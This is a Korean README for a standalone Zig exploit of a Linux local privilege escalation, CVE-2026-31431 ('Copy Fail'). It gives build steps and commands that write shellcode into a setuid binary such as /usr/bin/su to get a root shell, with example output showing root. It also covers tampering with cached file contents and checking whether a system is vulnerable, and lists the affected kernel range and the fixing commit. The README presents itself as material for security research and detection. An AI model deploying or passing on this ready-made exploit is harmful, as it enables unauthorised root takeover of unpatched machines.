
Zig로 구현된 Copy Fail Linux LPE(CVE-2026-31431)로, 보안 연구 및 방어 탐지를 위해 취약점을 악용하는 독립 실행형 바이너리를 제공하며, 셸코드 주입 및 시스템 취약점 검사를 포함합니다.
732바이트 개념 증명의 Zig 구현으로, 2026년 4월 29일 Theori / Xint가 공개한 Copy Fail Linux LPE(CVE-2026-31431)에 대한 것입니다. 상세 분석은 copy.fail에서 확인할 수 있습니다.
이 구현은 런타임 의존성이 없으며 독립 실행형 바이너리로 실행할 수 있습니다.
익스플로잇을 빌드하려면 zig 버전 0.16.0 이상이 필요하며, ziglang.org에서 설치할 수 있습니다. 익스플로잇을 빌드하려면 터미널에서 다음 명령을 실행하세요:
zig build
선택적으로, 다른 타깃으로 크로스 빌드할 수도 있습니다. 예:
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
또는 압축되지 않은 페이로드로 빌드:
zig build -Dcompress=false
컴파일된 바이너리를 실행하거나 zig를 사용하여 실행할 수 있습니다.
zig-out/bin/copyfail
또는
zig build run
$ zig-out/bin/copyfail
사용법:
run <경로> <데이터> [오프셋] [-- 인자...] - 주어진 오프셋(기본값 0)에 데이터를 실행 파일에 쓰고 실행합니다.
sudo <suid_경로> [명령어...] - suid 바이너리에 셸코드를 작성하여 루트로 명령어를 실행합니다.
(명령어의 첫 번째 인자는 실행할 프로그램의 전체 경로여야 합니다)
modify <경로> <데이터> [오프셋] - 주어진 오프셋(기본값 0)에 데이터를 파일에 씁니다.
reset <경로> - 파일을 원래 상태로 재설정합니다.
help - 이 메시지를 표시합니다.
실행 파일은 다양한 명령어로 실행할 수 있습니다:
run
먼저 제공된 데이터를 주어진 오프셋(기본값 0)에 지정된 경로의 실행 파일에 쓴 다음 실행합니다.
실행이 완료된 후, posix_fadvise를 사용하여 파일을 원래 상태로 재설정합니다.
예:
copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/sh
sudo
포함된 셸코드를 suid 바이너리에 작성하고 이를 실행하여 루트로 명령어를 실행합니다.
셸코드의 소스 코드는 payloads/sudo.zig에서 확인할 수 있습니다.
셸코드는 실행할 프로그램을 검색하지 않으므로 명령어의 첫 번째 인자는 프로그램의 전체 경로여야 합니다.
실행이 완료된 후, run 명령어와 동일하게 파일이 재설정됩니다.
예:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
제공된 데이터를 주어진 오프셋(기본값 0)에 지정된 경로의 파일에 쓰되, 실행하지는 않습니다.
수정 후에는 파일이 재설정되지 않습니다. 재설정하려면 reset 명령어를 사용하세요.
예:
copyfail modify /path/to/file "My new content" 1337
reset
posix_fadvise를 사용하여 지정된 경로의 파일을 원래 상태로 재설정합니다. 이는 캐시된 페이지를 폐기하고, 다시 접근할 때 디스크에서 내용을 읽습니다.
예:
copyfail reset /path/to/file
is_vulnerable
임시 파일을 생성하고 테스트 데이터를 쓴 다음 다시 읽어 데이터가 손상되었는지 확인하여 시스템이 취약한지 검사합니다.
예:
$ copyfail is_vulnerable
warning: 시스템이 취약합니다
또는
info: 시스템이 취약하지 않습니다
help
사용법 메시지를 출력합니다.
하한: torvalds/linux 72548b093ee3 2017년 8월, v4.14
(AF_ALG iov_iter 재작업으로
AEAD scatterlist로의 splice를 통한
파일 페이지 쓰기 프리미티브가
도입됨)
상한: torvalds/linux a664bf3d603d 2026년 4월, mainline
(2017년 algif_aead 인플레이스
최적화를 되돌림; 소스와 대상
scatterlist를 분리하여 페이지 캐시
페이지가 더 이상 쓰기 가능한
암호화 대상이 될 수 없음)
그 사이: 수정 사항을 백포트하지 않은 모든 주요 배포판 커널.
Ubuntu, RHEL, SUSE, Amazon Linux, Debian 모두 공개 시점에 기본 클라우드 이미지 커널에서 취약한 것으로 확인되었습니다. 배포판 수준의 백포트는 공개와 함께 2026-04-29경부터 배포되기 시작했습니다. 대상 커널이 해당 범위에 속하는지 확인하려면 커널의 git 로그 또는 배포판의 변경 로그에 a664bf3d603d(또는 해당 배포판별 백포트)가 있는지 확인하세요.
CVE-2026-31431 발견 및 최초 공개: Theori / Xint. 공개 분석 문서: copy.fail.
이 Zig 구현: Emmmmllll [email protected]
Zig 컴파일러 및 표준 라이브러리: Zig Software Foundation, MIT 조건 https://codeberg.org/ziglang/zig.
익스플로잇과 페이로드는 보안 연구 및 방어 탐지 목적으로 게시되었습니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 사용은 작성자가 아닌 사용자의 책임입니다.